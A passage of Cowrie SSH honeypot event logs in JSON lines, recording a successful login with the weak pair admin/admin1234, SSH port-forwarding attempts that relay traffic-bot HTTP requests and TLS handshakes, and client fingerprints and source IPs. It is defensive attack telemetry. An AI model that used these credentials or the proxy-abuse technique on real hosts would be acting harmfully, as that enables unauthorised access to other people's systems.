\\x0c\\xf3\\x81\\xb2\\xacX\\xd3\\xd0h\\xea\\'\\xed\\x9a-6\\xe4\\x19n2\\xb2\\xeb\\x7f\\x96\\xda\\xb0\\xb1e\\xf4\\x8db\\xe7u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:32.703690Z","src_ip":"23.148.145.132","session":"80dde302e6dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:33.068052Z","src_ip":"113.164.152.20","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Rmp1eF8xZHpOT2xqM2c2ZQ%3D%3D5fcYKP1JVJG7Obl2an29xVmUeRzx5IlWcqx5Xd6YSt6ywLGRy9bIVI%2FEvjHVXLW4JLXTXtn8xJLTzb0PxhrjgzzoqLenqzM4axnqeikExEybl3d%2ByCscW1rYdE20PNST7seGyvzYpxKmC5XyqYH15R4wKvk8oPjSkXfm9Q2QBiRQj7DoNQB4AzqoE42nNOwCvBbb7nlZPR8ADU1tSYAgbVq8aOLG5ycFSTu%2F0akZcv%2FjLKcV3cPOYJjxpOCEWVkRh1uTNiLyElmIj21H%2BFi5rW05Dvqr8YjDyJMWtSklQH02pzTw87bSd2oyRRSgZ44fE4X9YujwaLYOwLLcONOiz%2FeUQ51I3eM4Im8Tiy0oWR8hQR%2BdI88KLanB5%2BmWjznrbvEx%2FIbQZBGZ6hkj9DPjblPpL9foXCaHRnxdPTA5UQvoP%2Fu%2FANHp%2Fv0AATLF6tNC%2FHzLrtralxEVTVF374VtMeAvkC0MOw98JD0puODZav0yvRJP2Oz2OGpVoHix%2FoXpVCsT2SGfqbAXHNsEjmaoscMu6NgvrCyyTmEDZpoT9hh4fCXg3fJkgYu2lNRbz3VIk6S1cck6EmIlLuxT0WqKuXMcfRXsD8Nfae1p%2BRxm3h1%2FP1wxfPPDlnWKl6m5F1ywHZJBxw9qj4uRr7Ve%2Bj2He4oqjxBG4xeZNgYefNedKvQ9odIMFrrSjnGcpgdSelH5qVQjXb%2FNaXp79HhSGGZAY7VtggpM6nHFHBgTX7QNRIWPspEaQ4Wk78kgcqUDxi4AaC9AqlHvyLCwO8OhHQMcpBcJTYvfoiUKwMz7RNGjAmBoKb3IkodanFltyimYMgWxdfwp0fEYOBGVGdhVYMi7KGFXpm8kCjVesiF3mv8VwzRv0VJ%2Fdjz5X%2BfQfeWL%2Fo8T5MzcfmGtrFrizCGYwPwKWfCf53b80R21fIq0UdAbcF4c86NkbxSS9zD0jRwiaXBabev5n%2FYf78rhD66d%2F9JujHil3z4YNHbL7HbFxx7UdImulOyw2spnKsqVbMEJAJS0LqE80RhK2hpZ2SDZvZ8ud8EDjZC4Y0SVA28DpeW%2FMEUcM5Jyru%2Be%2BDwd2Mg2aCJ%2B'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Rmp1eF8xZHpOT2xqM2c2ZQ%3D%3D5fcYKP1JVJG7Obl2an29xVmUeRzx5IlWcqx5Xd6YSt6ywLGRy9bIVI%2FEvjHVXLW4JLXTXtn8xJLTzb0PxhrjgzzoqLenqzM4axnqeikExEybl3d%2ByCscW1rYdE20PNST7seGyvzYpxKmC5XyqYH15R4wKvk8oPjSkXfm9Q2QBiRQj7DoNQB4AzqoE42nNOwCvBbb7nlZPR8ADU1tSYAgbVq8aOLG5ycFSTu%2F0akZcv%2FjLKcV3cPOYJjxpOCEWVkRh1uTNiLyElmIj21H%2BFi5rW05Dvqr8YjDyJMWtSklQH02pzTw87bSd2oyRRSgZ44fE4X9YujwaLYOwLLcONOiz%2FeUQ51I3eM4Im8Tiy0oWR8hQR%2BdI88KLanB5%2BmWjznrbvEx%2FIbQZBGZ6hkj9DPjblPpL9foXCaHRnxdPTA5UQvoP%2Fu%2FANHp%2Fv0AATLF6tNC%2FHzLrtralxEVTVF374VtMeAvkC0MOw98JD0puODZav0yvRJP2Oz2OGpVoHix%2FoXpVCsT2SGfqbAXHNsEjmaoscMu6NgvrCyyTmEDZpoT9hh4fCXg3fJkgYu2lNRbz3VIk6S1cck6EmIlLuxT0WqKuXMcfRXsD8Nfae1p%2BRxm3h1%2FP1wxfPPDlnWKl6m5F1ywHZJBxw9qj4uRr7Ve%2Bj2He4oqjxBG4xeZNgYefNedKvQ9odIMFrrSjnGcpgdSelH5qVQjXb%2FNaXp79HhSGGZAY7VtggpM6nHFHBgTX7QNRIWPspEaQ4Wk78kgcqUDxi4AaC9AqlHvyLCwO8OhHQMcpBcJTYvfoiUKwMz7RNGjAmBoKb3IkodanFltyimYMgWxdfwp0fEYOBGVGdhVYMi7KGFXpm8kCjVesiF3mv8VwzRv0VJ%2Fdjz5X%2BfQfeWL%2Fo8T5MzcfmGtrFrizCGYwPwKWfCf53b80R21fIq0UdAbcF4c86NkbxSS9zD0jRwiaXBabev5n%2FYf78rhD66d%2F9JujHil3z4YNHbL7HbFxx7UdImulOyw2spnKsqVbMEJAJS0LqE80RhK2hpZ2SDZvZ8ud8EDjZC4Y0SVA28DpeW%2FMEUcM5Jyru%2Be%2BDwd2Mg2aCJ%2B'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:33.071038Z","src_ip":"113.164.152.20","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:33.074421Z","src_ip":"113.164.152.20","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd5\\xaf\\n\\x1e\\xf2\\x84\\xb6\\x07\\xa6\\x960\\t.\\xd1\\xc0k\\xb3\\xdeJ=\\xd9x\\x8b0\\xe6I\\xe0\\x8a\\xda\\x95\\x8a\\xd8 \\x04\\x16 o\\xef\\x9c\\x0bR\\xa45\\xa5\\x92RN`M\\xe2\\x12\\x84>\\xbc%t\\x04J\\x12R\\x02\\xf5+\\xdd\\xb2\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa1\\x03\\x0b\\xb5tb&a\\x92\\x17$,@g5\\x19\\x0c4|2\\x15\\xc5,\\x06\\x18:\\xb4\\x8c\\x98\\xa6|4\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd5\\xaf\\n\\x1e\\xf2\\x84\\xb6\\x07\\xa6\\x960\\t.\\xd1\\xc0k\\xb3\\xdeJ=\\xd9x\\x8b0\\xe6I\\xe0\\x8a\\xda\\x95\\x8a\\xd8 \\x04\\x16 o\\xef\\x9c\\x0bR\\xa45\\xa5\\x92RN`M\\xe2\\x12\\x84>\\xbc%t\\x04J\\x12R\\x02\\xf5+\\xdd\\xb2\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa1\\x03\\x0b\\xb5tb&a\\x92\\x17$,@g5\\x19\\x0c4|2\\x15\\xc5,\\x06\\x18:\\xb4\\x8c\\x98\\xa6|4\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:33.077328Z","src_ip":"113.164.152.20","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:33.357844Z","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:33.633989Z","src_ip":"113.164.152.20","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03x\\x107\\x85\\xac(:D9\\xde\\xc8@\\x06\\xb6\\xeaf\\xb6\\x1e\\x19@\\xe2}~\\xeeN\\xef\\x1b_\\n\"\\xde\\xf7 \\x07>~$c1~\\xb31\\n_\\x16\\xfb\\xca_\\xbd\\xa1\\xb3\\xad\\x8e\\x988\\xd9G\\x83\\xb5Q\\x8b\\x9d\\xd7\\xffb\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 `\\xa9\\xd3\\x8e7\\xacd#j\\xady\\x1d\\x01\\x9d1c\\xc7\\x99\\xfad\\x8f\\xf7;NOT2\\x89\\xbb\\xa1\\x82\\x0f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03x\\x107\\x85\\xac(:D9\\xde\\xc8@\\x06\\xb6\\xeaf\\xb6\\x1e\\x19@\\xe2}~\\xeeN\\xef\\x1b_\\n\"\\xde\\xf7 \\x07>~$c1~\\xb31\\n_\\x16\\xfb\\xca_\\xbd\\xa1\\xb3\\xad\\x8e\\x988\\xd9G\\x83\\xb5Q\\x8b\\x9d\\xd7\\xffb\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 `\\xa9\\xd3\\x8e7\\xacd#j\\xady\\x1d\\x01\\x9d1c\\xc7\\x99\\xfad\\x8f\\xf7;NOT2\\x89\\xbb\\xa1\\x82\\x0f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:33.637487Z","src_ip":"113.164.152.20","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:34.180730Z","src_ip":"113.164.152.20","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":60848,"dst_ip":"10.17.0.5","dst_port":22,"session":"736d7b197a1c","protocol":"ssh","message":"New connection: 113.164.152.20:60848 (10.17.0.5:22) [session: 736d7b197a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:35.792705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:35.797804Z","src_ip":"113.164.152.20","session":"736d7b197a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:36.083131Z","src_ip":"113.164.152.20","session":"736d7b197a1c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:37.210002Z","src_ip":"113.164.152.20","session":"736d7b197a1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:37.592195Z","session":"736d7b197a1c","protocol":"ssh"}
